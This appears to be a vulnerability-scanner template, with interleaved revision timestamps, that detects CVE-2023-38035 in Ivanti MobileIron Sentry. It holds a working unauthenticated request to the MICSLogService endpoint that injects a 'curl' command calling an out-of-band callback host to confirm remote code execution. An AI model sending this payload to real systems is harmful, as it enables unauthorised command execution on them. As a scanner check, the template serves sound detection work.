2023-08-24 17:40:37 +00:00
id : CVE-2023-38035
info :
name : Ivanti Sentry - Authentication Bypass
author : DhiyaneshDk,iamnoooob,rootxharsh
severity : critical
description : |
A security vulnerability in MICS Admin Portal in Ivanti MobileIron Sentry versions 9.18.0 and below, which may allow an attacker to bypass authentication controls on the administrative interface due to an insufficiently restrictive Apache HTTPD configuration.
2023-09-06 11:43:37 +00:00
remediation : |
Apply the latest security patches or updates provided by Ivanti to fix the authentication bypass vulnerability.
2023-08-24 17:40:37 +00:00
reference :
- https://forums.ivanti.com/s/article/CVE-2023-38035-API-Authentication-Bypass-on-Sentry-Administrator-Interface
- https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive/
- https://github.com/horizon3ai/CVE-2023-38035
- https://nvd.nist.gov/vuln/detail/CVE-2023-38035
2023-10-14 11:27:55 +00:00
- http://packetstormsecurity.com/files/174643/Ivanti-Sentry-Authentication-Bypass-Remote-Code-Execution.html
2023-08-24 17:40:37 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2023-38035
2023-08-31 11:46:18 +00:00
cwe-id : CWE-863
2023-10-26 18:00:24 +00:00
epss-score : 0.9704
2023-11-27 09:19:41 +00:00
epss-percentile : 0.99695
2023-09-06 11:43:37 +00:00
cpe : cpe:2.3:a:ivanti:mobileiron_sentry:*:*:*:*:*:*:*:*
2023-08-24 17:40:37 +00:00
metadata :
verified : true
2023-09-06 11:43:37 +00:00
max-request : 1
2023-08-31 11:46:18 +00:00
vendor : ivanti
product : mobileiron_sentry
2023-09-06 11:43:37 +00:00
shodan-query : 'html:"Note: Requires a local Sentry administrative user"'
2023-10-14 19:50:16 +00:00
tags : packetstorm,cve,cve2023,ivanti,mobileiron,sentry,kev,rce,auth-bypass,oast
2023-08-24 17:40:37 +00:00
variables :
oast : "{{interactsh-url}}/?"
padstr : "{{randstr}}"
http :
- raw :
- |
POST /mics/services/MICSLogService HTTP/1.1
Host : {{Hostname}}
Content-Type : application/json
{{base64_decode('YwEAbQAYdXBsb2FkRmlsZVVzaW5nRmlsZUlucHV0TVMAB2NvbW1hbmRTAEw=')}}curl {{padding(oast,padstr,71)}}{{base64_decode('UwAGaXNSb290VHpOeg==')}}
matchers :
- type : dsl
dsl :
- contains(body, 'isRunningTzz')
- contains(interactsh_protocol, 'dns')
- status_code == 200
2023-08-31 11:46:18 +00:00
condition : and
2023-11-27 10:10:24 +00:00
# digest: 4b0a00483046022100be4d218d77b62b4851a03030fd4908f21a9ec1c7691671f82d5045afb6ae37db022100b2110ee0cc0bf66447e3bed5c176aa998bc9d416ff6439683bcccb3d8fa21c8e:922c64590222798bb761d5b6d8e72950